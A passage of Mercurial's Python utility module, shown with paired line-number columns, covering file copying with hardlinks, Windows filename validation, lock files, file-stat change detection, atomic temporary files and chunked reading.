1468 1475 min = nmin
1469 1476 if min > max:
1470 1477 min = max
1471 1478 yield ''.join(buf)
1472 1479 blen = 0
1473 1480 buf = []
1474 1481 if buf:
1475 1482 yield ''.join(buf)
1476 1483
1477 1484 def always(fn):
1478 1485 return True
1479 1486
1480 1487 def never(fn):
1481 1488 return False
1482 1489
1483 1490 def nogc(func):
1484 1491 """disable garbage collector
1485 1492
1486 1493 Python's garbage collector triggers a GC each time a certain number of
1487 1494 container objects (the number being defined by gc.get_threshold()) are
1488 1495 allocated even when marked not to be tracked by the collector. Tracking has
1489 1496 no effect on when GCs are triggered, only on what objects the GC looks
1490 1497 into. As a workaround, disable GC while building complex (huge)
1491 1498 containers.
1492 1499
1493 1500 This garbage collector issue have been fixed in 2.7. But it still affect
1494 1501 CPython's performance.
1495 1502 """
1496 1503 def wrapper(*args, **kwargs):
1497 1504 gcenabled = gc.isenabled()
1498 1505 gc.disable()
1499 1506 try:
1500 1507 return func(*args, **kwargs)
1501 1508 finally:
1502 1509 if gcenabled:
1503 1510 gc.enable()
1504 1511 return wrapper
1505 1512
1506 1513 if pycompat.ispypy:
1507 1514 # PyPy runs slower with gc disabled
1508 1515 nogc = lambda x: x
1509 1516
1510 1517 def pathto(root, n1, n2):
1511 1518 '''return the relative path from one place to another.
1512 1519 root should use os.sep to separate directories
1513 1520 n1 should use os.sep to separate directories
1514 1521 n2 should use "/" to separate directories
1515 1522 returns an os.sep-separated path.
1516 1523
1517 1524 If n1 is a relative path, it's assumed it's
1518 1525 relative to root.
1519 1526 n2 should always be relative to root.
1520 1527 '''
1521 1528 if not n1:
1522 1529 return localpath(n2)
1523 1530 if os.path.isabs(n1):
1524 1531 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1525 1532 return os.path.join(root, localpath(n2))
1526 1533 n2 = '/'.join((pconvert(root), n2))
1527 1534 a, b = splitpath(n1), n2.split('/')
1528 1535 a.reverse()
1529 1536 b.reverse()
1530 1537 while a and b and a[-1] == b[-1]:
1531 1538 a.pop()
1532 1539 b.pop()
1533 1540 b.reverse()
1534 1541 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1535 1542
1536 1543 # the location of data files matching the source code
1537 1544 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1538 1545 # executable version (py2exe) doesn't support __file__
1539 1546 datapath = os.path.dirname(pycompat.sysexecutable)
1540 1547 else:
1541 1548 datapath = os.path.dirname(pycompat.fsencode(__file__))
1542 1549
1543 1550 i18n.setdatapath(datapath)
1544 1551
1545 1552 def checksignature(func):
1546 1553 '''wrap a function with code to check for calling errors'''
1547 1554 def check(*args, **kwargs):
1548 1555 try:
1549 1556 return func(*args, **kwargs)
1550 1557 except TypeError:
1551 1558 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1552 1559 raise error.SignatureError
1553 1560 raise
1554 1561
1555 1562 return check
1556 1563
1557 1564 # a whilelist of known filesystems where hardlink works reliably
1558 1565 _hardlinkfswhitelist = {
1559 1566 'apfs',
1560 1567 'btrfs',
1561 1568 'ext2',
1562 1569 'ext3',
1563 1570 'ext4',
1564 1571 'hfs',
1565 1572 'jfs',
1566 1573 'NTFS',
1567 1574 'reiserfs',
1568 1575 'tmpfs',
1569 1576 'ufs',
1570 1577 'xfs',
1571 1578 'zfs',
1572 1579 }
1573 1580
1574 1581 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1575 1582 '''copy a file, preserving mode and optionally other stat info like
1576 1583 atime/mtime
1577 1584
1578 1585 checkambig argument is used with filestat, and is useful only if
1579 1586 destination file is guarded by any lock (e.g. repo.lock or
1580 1587 repo.wlock).
1581 1588
1582 1589 copystat and checkambig should be exclusive.
1583 1590 '''
1584 1591 assert not (copystat and checkambig)
1585 1592 oldstat = None
1586 1593 if os.path.lexists(dest):
1587 1594 if checkambig:
1588 1595 oldstat = checkambig and filestat.frompath(dest)
1589 1596 unlink(dest)
1590 1597 if hardlink:
1591 1598 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1592 1599 # unless we are confident that dest is on a whitelisted filesystem.
1593 1600 try:
1594 1601 fstype = getfstype(os.path.dirname(dest))
1595 1602 except OSError:
1596 1603 fstype = None
1597 1604 if fstype not in _hardlinkfswhitelist:
1598 1605 hardlink = False
1599 1606 if hardlink:
1600 1607 try:
1601 1608 oslink(src, dest)
1602 1609 return
1603 1610 except (IOError, OSError):
1604 1611 pass # fall back to normal copy
1605 1612 if os.path.islink(src):
1606 1613 os.symlink(os.readlink(src), dest)
1607 1614 # copytime is ignored for symlinks, but in general copytime isn't needed
1608 1615 # for them anyway
1609 1616 else:
1610 1617 try:
1611 1618 shutil.copyfile(src, dest)
1612 1619 if copystat:
1613 1620 # copystat also copies mode
1614 1621 shutil.copystat(src, dest)
1615 1622 else:
1616 1623 shutil.copymode(src, dest)
1617 1624 if oldstat and oldstat.stat:
1618 1625 newstat = filestat.frompath(dest)
1619 1626 if newstat.isambig(oldstat):
1620 1627 # stat of copied file is ambiguous to original one
1621 1628 advanced = (
1622 1629 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1623 1630 os.utime(dest, (advanced, advanced))
1624 1631 except shutil.Error as inst:
1625 1632 raise error.Abort(str(inst))
1626 1633
1627 1634 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1628 1635 """Copy a directory tree using hardlinks if possible."""
1629 1636 num = 0
1630 1637
1631 1638 gettopic = lambda: hardlink and _('linking') or _('copying')
1632 1639
1633 1640 if os.path.isdir(src):
1634 1641 if hardlink is None:
1635 1642 hardlink = (os.stat(src).st_dev ==
1636 1643 os.stat(os.path.dirname(dst)).st_dev)
1637 1644 topic = gettopic()
1638 1645 os.mkdir(dst)
1639 1646 for name, kind in listdir(src):
1640 1647 srcname = os.path.join(src, name)
1641 1648 dstname = os.path.join(dst, name)
1642 1649 def nprog(t, pos):
1643 1650 if pos is not None:
1644 1651 return progress(t, pos + num)
1645 1652 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1646 1653 num += n
1647 1654 else:
1648 1655 if hardlink is None:
1649 1656 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1650 1657 os.stat(os.path.dirname(dst)).st_dev)
1651 1658 topic = gettopic()
1652 1659
1653 1660 if hardlink:
1654 1661 try:
1655 1662 oslink(src, dst)
1656 1663 except (IOError, OSError):
1657 1664 hardlink = False
1658 1665 shutil.copy(src, dst)
1659 1666 else:
1660 1667 shutil.copy(src, dst)
1661 1668 num += 1
1662 1669 progress(topic, num)
1663 1670 progress(topic, None)
1664 1671
1665 1672 return hardlink, num
1666 1673
1667 1674 _winreservednames = {
1668 1675 'con', 'prn', 'aux', 'nul',
1669 1676 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1670 1677 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1671 1678 }
1672 1679 _winreservedchars = ':*?"<>|'
1673 1680 def checkwinfilename(path):
1674 1681 r'''Check that the base-relative path is a valid filename on Windows.
1675 1682 Returns None if the path is ok, or a UI string describing the problem.
1676 1683
1677 1684 >>> checkwinfilename(b"just/a/normal/path")
1678 1685 >>> checkwinfilename(b"foo/bar/con.xml")
1679 1686 "filename contains 'con', which is reserved on Windows"
1680 1687 >>> checkwinfilename(b"foo/con.xml/bar")
1681 1688 "filename contains 'con', which is reserved on Windows"
1682 1689 >>> checkwinfilename(b"foo/bar/xml.con")
1683 1690 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1684 1691 "filename contains 'AUX', which is reserved on Windows"
1685 1692 >>> checkwinfilename(b"foo/bar/bla:.txt")
1686 1693 "filename contains ':', which is reserved on Windows"
1687 1694 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1688 1695 "filename contains '\\x07', which is invalid on Windows"
1689 1696 >>> checkwinfilename(b"foo/bar/bla ")
1690 1697 "filename ends with ' ', which is not allowed on Windows"
1691 1698 >>> checkwinfilename(b"../bar")
1692 1699 >>> checkwinfilename(b"foo\\")
1693 1700 "filename ends with '\\', which is invalid on Windows"
1694 1701 >>> checkwinfilename(b"foo\\/bar")
1695 1702 "directory name ends with '\\', which is invalid on Windows"
1696 1703 '''
1697 1704 if path.endswith('\\'):
1698 1705 return _("filename ends with '\\', which is invalid on Windows")
1699 1706 if '\\/' in path:
1700 1707 return _("directory name ends with '\\', which is invalid on Windows")
1701 1708 for n in path.replace('\\', '/').split('/'):
1702 1709 if not n:
1703 1710 continue
1704 1711 for c in _filenamebytestr(n):
1705 1712 if c in _winreservedchars:
1706 1713 return _("filename contains '%s', which is reserved "
1707 1714 "on Windows") % c
1708 1715 if ord(c) <= 31:
1709 1716 return _("filename contains '%s', which is invalid "
1710 1717 "on Windows") % stringutil.escapestr(c)
1711 1718 base = n.split('.')[0]
1712 1719 if base and base.lower() in _winreservednames:
1713 1720 return _("filename contains '%s', which is reserved "
1714 1721 "on Windows") % base
1715 1722 t = n[-1:]
1716 1723 if t in '. ' and n not in '..':
1717 1724 return _("filename ends with '%s', which is not allowed "
1718 1725 "on Windows") % t
1719 1726
1720 1727 if pycompat.iswindows:
1721 1728 checkosfilename = checkwinfilename
1722 1729 timer = time.clock
1723 1730 else:
1724 1731 checkosfilename = platform.checkosfilename
1725 1732 timer = time.time
1726 1733
1727 1734 if safehasattr(time, "perf_counter"):
1728 1735 timer = time.perf_counter
1729 1736
1730 1737 def makelock(info, pathname):
1731 1738 """Create a lock file atomically if possible
1732 1739
1733 1740 This may leave a stale lock file if symlink isn't supported and signal
1734 1741 interrupt is enabled.
1735 1742 """
1736 1743 try:
1737 1744 return os.symlink(info, pathname)
1738 1745 except OSError as why:
1739 1746 if why.errno == errno.EEXIST:
1740 1747 raise
1741 1748 except AttributeError: # no symlink in os
1742 1749 pass
1743 1750
1744 1751 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1745 1752 ld = os.open(pathname, flags)
1746 1753 os.write(ld, info)
1747 1754 os.close(ld)
1748 1755
1749 1756 def readlock(pathname):
1750 1757 try:
1751 1758 return os.readlink(pathname)
1752 1759 except OSError as why:
1753 1760 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1754 1761 raise
1755 1762 except AttributeError: # no symlink in os
1756 1763 pass
1757 1764 fp = posixfile(pathname, 'rb')
1758 1765 r = fp.read()
1759 1766 fp.close()
1760 1767 return r
1761 1768
1762 1769 def fstat(fp):
1763 1770 '''stat file object that may not have fileno method.'''
1764 1771 try:
1765 1772 return os.fstat(fp.fileno())
1766 1773 except AttributeError:
1767 1774 return os.stat(fp.name)
1768 1775
1769 1776 # File system features
1770 1777
1771 1778 def fscasesensitive(path):
1772 1779 """
1773 1780 Return true if the given path is on a case-sensitive filesystem
1774 1781
1775 1782 Requires a path (like /foo/.hg) ending with a foldable final
1776 1783 directory component.
1777 1784 """
1778 1785 s1 = os.lstat(path)
1779 1786 d, b = os.path.split(path)
1780 1787 b2 = b.upper()
1781 1788 if b == b2:
1782 1789 b2 = b.lower()
1783 1790 if b == b2:
1784 1791 return True # no evidence against case sensitivity
1785 1792 p2 = os.path.join(d, b2)
1786 1793 try:
1787 1794 s2 = os.lstat(p2)
1788 1795 if s2 == s1:
1789 1796 return False
1790 1797 return True
1791 1798 except OSError:
1792 1799 return True
1793 1800
1794 1801 try:
1795 1802 import re2
1796 1803 _re2 = None
1797 1804 except ImportError:
1798 1805 _re2 = False
1799 1806
1800 1807 class _re(object):
1801 1808 def _checkre2(self):
1802 1809 global _re2
1803 1810 try:
1804 1811 # check if match works, see issue3964
1805 1812 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1806 1813 except ImportError:
1807 1814 _re2 = False
1808 1815
1809 1816 def compile(self, pat, flags=0):
1810 1817 '''Compile a regular expression, using re2 if possible
1811 1818
1812 1819 For best performance, use only re2-compatible regexp features. The
1813 1820 only flags from the re module that are re2-compatible are
1814 1821 IGNORECASE and MULTILINE.'''
1815 1822 if _re2 is None:
1816 1823 self._checkre2()
1817 1824 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1818 1825 if flags & remod.IGNORECASE:
1819 1826 pat = '(?i)' + pat
1820 1827 if flags & remod.MULTILINE:
1821 1828 pat = '(?m)' + pat
1822 1829 try:
1823 1830 return re2.compile(pat)
1824 1831 except re2.error:
1825 1832 pass
1826 1833 return remod.compile(pat, flags)
1827 1834
1828 1835 @propertycache
1829 1836 def escape(self):
1830 1837 '''Return the version of escape corresponding to self.compile.
1831 1838
1832 1839 This is imperfect because whether re2 or re is used for a particular
1833 1840 function depends on the flags, etc, but it's the best we can do.
1834 1841 '''
1835 1842 global _re2
1836 1843 if _re2 is None:
1837 1844 self._checkre2()
1838 1845 if _re2:
1839 1846 return re2.escape
1840 1847 else:
1841 1848 return remod.escape
1842 1849
1843 1850 re = _re()
1844 1851
1845 1852 _fspathcache = {}
1846 1853 def fspath(name, root):
1847 1854 '''Get name in the case stored in the filesystem
1848 1855
1849 1856 The name should be relative to root, and be normcase-ed for efficiency.
1850 1857
1851 1858 Note that this function is unnecessary, and should not be
1852 1859 called, for case-sensitive filesystems (simply because it's expensive).
1853 1860
1854 1861 The root should be normcase-ed, too.
1855 1862 '''
1856 1863 def _makefspathcacheentry(dir):
1857 1864 return dict((normcase(n), n) for n in os.listdir(dir))
1858 1865
1859 1866 seps = pycompat.ossep
1860 1867 if pycompat.osaltsep:
1861 1868 seps = seps + pycompat.osaltsep
1862 1869 # Protect backslashes. This gets silly very quickly.
1863 1870 seps.replace('\\','\\\\')
1864 1871 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1865 1872 dir = os.path.normpath(root)
1866 1873 result = []
1867 1874 for part, sep in pattern.findall(name):
1868 1875 if sep:
1869 1876 result.append(sep)
1870 1877 continue
1871 1878
1872 1879 if dir not in _fspathcache:
1873 1880 _fspathcache[dir] = _makefspathcacheentry(dir)
1874 1881 contents = _fspathcache[dir]
1875 1882
1876 1883 found = contents.get(part)
1877 1884 if not found:
1878 1885 # retry "once per directory" per "dirstate.walk" which
1879 1886 # may take place for each patches of "hg qpush", for example
1880 1887 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1881 1888 found = contents.get(part)
1882 1889
1883 1890 result.append(found or part)
1884 1891 dir = os.path.join(dir, part)
1885 1892
1886 1893 return ''.join(result)
1887 1894
1888 1895 def checknlink(testfile):
1889 1896 '''check whether hardlink count reporting works properly'''
1890 1897
1891 1898 # testfile may be open, so we need a separate file for checking to
1892 1899 # work around issue2543 (or testfile may get lost on Samba shares)
1893 1900 f1, f2, fp = None, None, None
1894 1901 try:
1895 1902 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1896 1903 suffix='1~', dir=os.path.dirname(testfile))
1897 1904 os.close(fd)
1898 1905 f2 = '%s2~' % f1[:-2]
1899 1906
1900 1907 oslink(f1, f2)
1901 1908 # nlinks() may behave differently for files on Windows shares if
1902 1909 # the file is open.
1903 1910 fp = posixfile(f2)
1904 1911 return nlinks(f2) > 1
1905 1912 except OSError:
1906 1913 return False
1907 1914 finally:
1908 1915 if fp is not None:
1909 1916 fp.close()
1910 1917 for f in (f1, f2):
1911 1918 try:
1912 1919 if f is not None:
1913 1920 os.unlink(f)
1914 1921 except OSError:
1915 1922 pass
1916 1923
1917 1924 def endswithsep(path):
1918 1925 '''Check path ends with os.sep or os.altsep.'''
1919 1926 return (path.endswith(pycompat.ossep)
1920 1927 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1921 1928
1922 1929 def splitpath(path):
1923 1930 '''Split path by os.sep.
1924 1931 Note that this function does not use os.altsep because this is
1925 1932 an alternative of simple "xxx.split(os.sep)".
1926 1933 It is recommended to use os.path.normpath() before using this
1927 1934 function if need.'''
1928 1935 return path.split(pycompat.ossep)
1929 1936
1930 1937 def mktempcopy(name, emptyok=False, createmode=None):
1931 1938 """Create a temporary file with the same contents from name
1932 1939
1933 1940 The permission bits are copied from the original file.
1934 1941
1935 1942 If the temporary file is going to be truncated immediately, you
1936 1943 can use emptyok=True as an optimization.
1937 1944
1938 1945 Returns the name of the temporary file.
1939 1946 """
1940 1947 d, fn = os.path.split(name)
1941 1948 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1942 1949 os.close(fd)
1943 1950 # Temporary files are created with mode 0600, which is usually not
1944 1951 # what we want. If the original file already exists, just copy
1945 1952 # its mode. Otherwise, manually obey umask.
1946 1953 copymode(name, temp, createmode)
1947 1954 if emptyok:
1948 1955 return temp
1949 1956 try:
1950 1957 try:
1951 1958 ifp = posixfile(name, "rb")
1952 1959 except IOError as inst:
1953 1960 if inst.errno == errno.ENOENT:
1954 1961 return temp
1955 1962 if not getattr(inst, 'filename', None):
1956 1963 inst.filename = name
1957 1964 raise
1958 1965 ofp = posixfile(temp, "wb")
1959 1966 for chunk in filechunkiter(ifp):
1960 1967 ofp.write(chunk)
1961 1968 ifp.close()
1962 1969 ofp.close()
1963 1970 except: # re-raises
1964 1971 try:
1965 1972 os.unlink(temp)
1966 1973 except OSError:
1967 1974 pass
1968 1975 raise
1969 1976 return temp
1970 1977
1971 1978 class filestat(object):
1972 1979 """help to exactly detect change of a file
1973 1980
1974 1981 'stat' attribute is result of 'os.stat()' if specified 'path'
1975 1982 exists. Otherwise, it is None. This can avoid preparative
1976 1983 'exists()' examination on client side of this class.
1977 1984 """
1978 1985 def __init__(self, stat):
1979 1986 self.stat = stat
1980 1987
1981 1988 @classmethod
1982 1989 def frompath(cls, path):
1983 1990 try:
1984 1991 stat = os.stat(path)
1985 1992 except OSError as err:
1986 1993 if err.errno != errno.ENOENT:
1987 1994 raise
1988 1995 stat = None
1989 1996 return cls(stat)
1990 1997
1991 1998 @classmethod
1992 1999 def fromfp(cls, fp):
1993 2000 stat = os.fstat(fp.fileno())
1994 2001 return cls(stat)
1995 2002
1996 2003 __hash__ = object.__hash__
1997 2004
1998 2005 def __eq__(self, old):
1999 2006 try:
2000 2007 # if ambiguity between stat of new and old file is
2001 2008 # avoided, comparison of size, ctime and mtime is enough
2002 2009 # to exactly detect change of a file regardless of platform
2003 2010 return (self.stat.st_size == old.stat.st_size and
2004 2011 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2005 2012 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2006 2013 except AttributeError:
2007 2014 pass
2008 2015 try:
2009 2016 return self.stat is None and old.stat is None
2010 2017 except AttributeError:
2011 2018 return False
2012 2019
2013 2020 def isambig(self, old):
2014 2021 """Examine whether new (= self) stat is ambiguous against old one
2015 2022
2016 2023 "S[N]" below means stat of a file at N-th change:
2017 2024
2018 2025 - S[n-1].ctime < S[n].ctime: can detect change of a file
2019 2026 - S[n-1].ctime == S[n].ctime
2020 2027 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2021 2028 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2022 2029 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2023 2030 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2024 2031
2025 2032 Case (*2) above means that a file was changed twice or more at
2026 2033 same time in sec (= S[n-1].ctime), and comparison of timestamp
2027 2034 is ambiguous.
2028 2035
2029 2036 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2030 2037 timestamp is ambiguous".
2031 2038
2032 2039 But advancing mtime only in case (*2) doesn't work as
2033 2040 expected, because naturally advanced S[n].mtime in case (*1)
2034 2041 might be equal to manually advanced S[n-1 or earlier].mtime.
2035 2042
2036 2043 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2037 2044 treated as ambiguous regardless of mtime, to avoid overlooking
2038 2045 by confliction between such mtime.
2039 2046
2040 2047 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2041 2048 S[n].mtime", even if size of a file isn't changed.
2042 2049 """
2043 2050 try:
2044 2051 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2045 2052 except AttributeError:
2046 2053 return False
2047 2054
2048 2055 def avoidambig(self, path, old):
2049 2056 """Change file stat of specified path to avoid ambiguity
2050 2057
2051 2058 'old' should be previous filestat of 'path'.
2052 2059
2053 2060 This skips avoiding ambiguity, if a process doesn't have
2054 2061 appropriate privileges for 'path'. This returns False in this
2055 2062 case.
2056 2063
2057 2064 Otherwise, this returns True, as "ambiguity is avoided".
2058 2065 """
2059 2066 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2060 2067 try:
2061 2068 os.utime(path, (advanced, advanced))
2062 2069 except OSError as inst:
2063 2070 if inst.errno == errno.EPERM:
2064 2071 # utime() on the file created by another user causes EPERM,
2065 2072 # if a process doesn't have appropriate privileges
2066 2073 return False
2067 2074 raise
2068 2075 return True
2069 2076
2070 2077 def __ne__(self, other):
2071 2078 return not self == other
2072 2079
2073 2080 class atomictempfile(object):
2074 2081 '''writable file object that atomically updates a file
2075 2082
2076 2083 All writes will go to a temporary copy of the original file. Call
2077 2084 close() when you are done writing, and atomictempfile will rename
2078 2085 the temporary copy to the original name, making the changes
2079 2086 visible. If the object is destroyed without being closed, all your
2080 2087 writes are discarded.
2081 2088
2082 2089 checkambig argument of constructor is used with filestat, and is
2083 2090 useful only if target file is guarded by any lock (e.g. repo.lock
2084 2091 or repo.wlock).
2085 2092 '''
2086 2093 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2087 2094 self.__name = name # permanent name
2088 2095 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2089 2096 createmode=createmode)
2090 2097 self._fp = posixfile(self._tempname, mode)
2091 2098 self._checkambig = checkambig
2092 2099
2093 2100 # delegated methods
2094 2101 self.read = self._fp.read
2095 2102 self.write = self._fp.write
2096 2103 self.seek = self._fp.seek
2097 2104 self.tell = self._fp.tell
2098 2105 self.fileno = self._fp.fileno
2099 2106
2100 2107 def close(self):
2101 2108 if not self._fp.closed:
2102 2109 self._fp.close()
2103 2110 filename = localpath(self.__name)
2104 2111 oldstat = self._checkambig and filestat.frompath(filename)
2105 2112 if oldstat and oldstat.stat:
2106 2113 rename(self._tempname, filename)
2107 2114 newstat = filestat.frompath(filename)
2108 2115 if newstat.isambig(oldstat):
2109 2116 # stat of changed file is ambiguous to original one
2110 2117 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2111 2118 os.utime(filename, (advanced, advanced))
2112 2119 else:
2113 2120 rename(self._tempname, filename)
2114 2121
2115 2122 def discard(self):
2116 2123 if not self._fp.closed:
2117 2124 try:
2118 2125 os.unlink(self._tempname)
2119 2126 except OSError:
2120 2127 pass
2121 2128 self._fp.close()
2122 2129
2123 2130 def __del__(self):
2124 2131 if safehasattr(self, '_fp'): # constructor actually did something
2125 2132 self.discard()
2126 2133
2127 2134 def __enter__(self):
2128 2135 return self
2129 2136
2130 2137 def __exit__(self, exctype, excvalue, traceback):
2131 2138 if exctype is not None:
2132 2139 self.discard()
2133 2140 else:
2134 2141 self.close()
2135 2142
2136 2143 def unlinkpath(f, ignoremissing=False):
2137 2144 """unlink and remove the directory if it is empty"""
2138 2145 if ignoremissing:
2139 2146 tryunlink(f)
2140 2147 else:
2141 2148 unlink(f)
2142 2149 # try removing directories that might now be empty
2143 2150 try:
2144 2151 removedirs(os.path.dirname(f))
2145 2152 except OSError:
2146 2153 pass
2147 2154
2148 2155 def tryunlink(f):
2149 2156 """Attempt to remove a file, ignoring ENOENT errors."""
2150 2157 try:
2151 2158 unlink(f)
2152 2159 except OSError as e:
2153 2160 if e.errno != errno.ENOENT:
2154 2161 raise
2155 2162
2156 2163 def makedirs(name, mode=None, notindexed=False):
2157 2164 """recursive directory creation with parent mode inheritance
2158 2165
2159 2166 Newly created directories are marked as "not to be indexed by
2160 2167 the content indexing service", if ``notindexed`` is specified
2161 2168 for "write" mode access.
2162 2169 """
2163 2170 try:
2164 2171 makedir(name, notindexed)
2165 2172 except OSError as err:
2166 2173 if err.errno == errno.EEXIST:
2167 2174 return
2168 2175 if err.errno != errno.ENOENT or not name:
2169 2176 raise
2170 2177 parent = os.path.dirname(os.path.abspath(name))
2171 2178 if parent == name:
2172 2179 raise
2173 2180 makedirs(parent, mode, notindexed)
2174 2181 try:
2175 2182 makedir(name, notindexed)
2176 2183 except OSError as err:
2177 2184 # Catch EEXIST to handle races
2178 2185 if err.errno == errno.EEXIST:
2179 2186 return
2180 2187 raise
2181 2188 if mode is not None:
2182 2189 os.chmod(name, mode)
2183 2190
2184 2191 def readfile(path):
2185 2192 with open(path, 'rb') as fp:
2186 2193 return fp.read()
2187 2194
2188 2195 def writefile(path, text):
2189 2196 with open(path, 'wb') as fp:
2190 2197 fp.write(text)
2191 2198
2192 2199 def appendfile(path, text):
2193 2200 with open(path, 'ab') as fp:
2194 2201 fp.write(text)
2195 2202
2196 2203 class chunkbuffer(object):
2197 2204 """Allow arbitrary sized chunks of data to be efficiently read from an
2198 2205 iterator over chunks of arbitrary size."""
2199 2206
2200 2207 def __init__(self, in_iter):
2201 2208 """in_iter is the iterator that's iterating over the input chunks."""
2202 2209 def splitbig(chunks):
2203 2210 for chunk in chunks:
2204 2211 if len(chunk) > 2**20:
2205 2212 pos = 0
2206 2213 while pos < len(chunk):
2207 2214 end = pos + 2 ** 18
2208 2215 yield chunk[pos:end]
2209 2216 pos = end
2210 2217 else:
2211 2218 yield chunk
2212 2219 self.iter = splitbig(in_iter)
2213 2220 self._queue = collections.deque()
2214 2221 self._chunkoffset = 0
2215 2222
2216 2223 def read(self, l=None):
2217 2224 """Read L bytes of data from the iterator of chunks of data.
2218 2225 Returns less than L bytes if the iterator runs dry.
2219 2226
2220 2227 If size parameter is omitted, read everything"""
2221 2228 if l is None:
2222 2229 return ''.join(self.iter)
2223 2230
2224 2231 left = l
2225 2232 buf = []
2226 2233 queue = self._queue
2227 2234 while left > 0:
2228 2235 # refill the queue
2229 2236 if not queue:
2230 2237 target = 2**18
2231 2238 for chunk in self.iter:
2232 2239 queue.append(chunk)
2233 2240 target -= len(chunk)
2234 2241 if target <= 0:
2235 2242 break
2236 2243 if not queue:
2237 2244 break
2238 2245
2239 2246 # The easy way to do this would be to queue.popleft(), modify the
2240 2247 # chunk (if necessary), then queue.appendleft(). However, for cases
2241 2248 # where we read partial chunk content, this incurs 2 dequeue
2242 2249 # mutations and creates a new str for the remaining chunk in the
2243 2250 # queue. Our code below avoids this overhead.
2244 2251
2245 2252 chunk = queue[0]
2246 2253 chunkl = len(chunk)
2247 2254 offset = self._chunkoffset
2248 2255
2249 2256 # Use full chunk.
2250 2257 if offset == 0 and left >= chunkl:
2251 2258 left -= chunkl
2252 2259 queue.popleft()
2253 2260 buf.append(chunk)
2254 2261 # self._chunkoffset remains at 0.
2255 2262 continue
2256 2263
2257 2264 chunkremaining = chunkl - offset
2258 2265
2259 2266 # Use all of unconsumed part of chunk.
2260 2267 if left >= chunkremaining:
2261 2268 left -= chunkremaining
2262 2269 queue.popleft()
2263 2270 # offset == 0 is enabled by block above, so this won't merely
2264 2271 # copy via ``chunk[0:]``.
2265 2272 buf.append(chunk[offset:])
2266 2273 self._chunkoffset = 0
2267 2274
2268 2275 # Partial chunk needed.
2269 2276 else:
2270 2277 buf.append(chunk[offset:offset + left])
2271 2278 self._chunkoffset += left
2272 2279 left -= chunkremaining
2273 2280
2274 2281 return ''.join(buf)
2275 2282
2276 2283 def filechunkiter(f, size=131072, limit=None):
2277 2284 """Create a generator that produces the data in the file size
2278 2285 (default 131072) bytes at a time, up to optional limit (default is
2279 2286 to read all data). Chunks may be less than size bytes if the
2280 2287 chunk is the last chunk in the file, or the file is a socket or
2281 2288 some other type of file that sometimes reads less data than is
2282 2289 requested."""
2283 2290 assert size >= 0
2284 2291 assert limit is None or limit >= 0
2285 2292 while True:
2286 2293 if limit is None:
2287 2294 nbytes = size
2288 2295 else:
2289 2296 nbytes = min(limit, size)
2290 2297 s = nbytes and f.read(nbytes)
2291 2298 if not s:
2292 2299 break
2293 2300 if limit:
2294 2301 limit -= len(s)
2295 2302 yield s
2296 2303
2297 2304 class cappedreader(object):
2298 2305 """A file object proxy that allows reading up to N bytes.
2299 2306
2300 2307 Given a source file object, instances of this type allow reading up to
2301 2308 N bytes from that source file object. Attempts to read past the allowed
2302 2309 limit are treated as EOF.
2303 2310
2304 2311 It is assumed that I/O is not performed on the original file object
2305 2312 in addition to I/O that is performed by this instance. If there is,
2306 2313 state tracking will get out of sync and unexpected results will ensue.
2307 2314 """
2308 2315 def __init__(self, fh, limit):
2309 2316 """Allow reading up to <limit> bytes from <fh>."""
2310 2317 self._fh = fh
2311 2318 self._left = limit
2312 2319
2313 2320 def read(self, n=-1):
2314 2321 if not self._left:
2315 2322 return b''
2316 2323
2317 2324 if n < 0:
2318 2325 n = self._left
2319 2326
2320 2327 data = self._fh.read(min(n, self._left))
2321 2328 self._left -= len(data)
2322 2329 assert self._left >= 0
2323 2330
2324 2331 return data
2325 2332
2326 2333 def readinto(self, b):
2327 2334 res = self.read(len(b))
2328 2335 if res is None:
2329 2336 return None
2330 2337
2331 2338 b[0:len(res)] = res
2332 2339 return len(res)
2333 2340
2334 2341 def unitcountfn(*unittable):
2335 2342 '''return a function that renders a readable count of some quantity'''
2336 2343
2337 2344 def go(count):
2338 2345 for multiplier, divisor, format in unittable:
2339 2346 if abs(count) >= divisor * multiplier:
2340 2347 return format % (count / float(divisor))
2341 2348 return unittable[-1][2] % count
2342 2349
2343 2350 return go
2344 2351
2345 2352 def processlinerange(fromline, toline):
2346 2353 """Check that linerange <fromline>:<toline> makes sense and return a
